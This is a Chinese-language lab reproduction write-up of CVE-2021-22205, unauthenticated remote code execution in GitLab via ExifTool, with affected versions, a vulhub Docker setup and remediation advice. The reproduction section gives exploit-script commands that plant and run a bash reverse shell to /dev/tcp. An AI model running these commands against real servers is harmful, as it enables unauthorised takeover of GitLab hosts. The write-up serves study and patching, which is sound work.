【漏洞复现】CVE-2021-22205 GitLab 未授权RCE
0x00 漏洞简介:
漏洞出来第一时间,听漏洞浍测的朋友传来的情报,就及时给了POC,但一直没复现,只是简单看了文章,提到需要可以注册用户才能进行攻击,然后就感觉挺鸡肋,没有再继续看。
恰巧好基友涛子给我发来他复现的文章,看了看exp,感觉并没那么鸡肋,相反可以通过未授权进行权限的获取,正好自己也复现了一手,同时借用涛子的文章给大家展现了出来。
GitLab 是一个用于仓库管理系统的开源项目,使用 Git 作为代码管理工具,并在此基础上搭建起来的 Web服务。
GitLab是一款Ruby开发的Git项目管理平台。如11.9以后的GitLab中,因为使用了图片处理工具ExifTool而受到漏洞CVE-2021-22204的影响,攻击者可以通过一个未授权的接口上传一张恶意构造的图片,进而在GitLab服务器上执
参考链接:
- https://hackerone.com/reports/1154542
- https://devcraft.io/2021/05/04/exiftool-arbitrary-code-execution-cve-2021-22204.html
- https://security.humanativaspa.it/gitlab-ce-cve-2021-22205-in-the-wild/
- https://github.com/projectdiscovery/nuclei-templates/blob/master/cves/2021/CVE-2021-22205.yaml
- https://github.com/vulhub/vulhub/blob/master/gitlab/CVE-2021-22205/README.zh-cn.md
0x01 影响版本:
该漏洞影响以下GitLab企业版和社区版:11.9 <= GitLab(CE/EE)< 13.8.813.9 <= GitLab(CE/EE)< 13.9.613.10 <=GitLab(CE/EE)< 13.10.3本文复现版本:Gitlab CE 13.10.1
0x02 漏洞环境
建议内存>8
执行如下命令启动一个GitLab 13.10.1版本服务器:
git clone https://github.com/vulhub/vulhub.gitcd vulhub/gitlab/CVE-2021-22205/docker-compose up -d环境启动后,访问http://your-ip:8080即可查看到GitLab的登录页面。
0x03 漏洞复现
漏洞POC
漏洞验证
python CVE-2021-22205.py -v true -t http://Your IP:Port
命令执行:
反弹shell:
python3 CVE-2021-2205.py -a true -t http://Your IP:port -c "echo 'bash -i >& /dev/tcp/ip/port 0>&1' > /tmp/1.sh"
这条语句意思是代表,将反弹shell命令写成sh脚本 到tmp目录下
python3 CVE-2021-2205.py -a true -t http://Your IP:port -c "chmod +x /tmp/1.sh"
这条语句意思是代表,对写入成功的sh脚本加执行权限
python3 CVE-2021-2205.py -a true -t http://Your IP:port -c "/bin/bash /tmp/1.sh"
这条语句意思是代表,运行反弹shell脚本
0x04 修复方案
1、及时升级GitLab至最新安全版本
2、配置访问控制策略,避免受影响的GitLab暴露在公网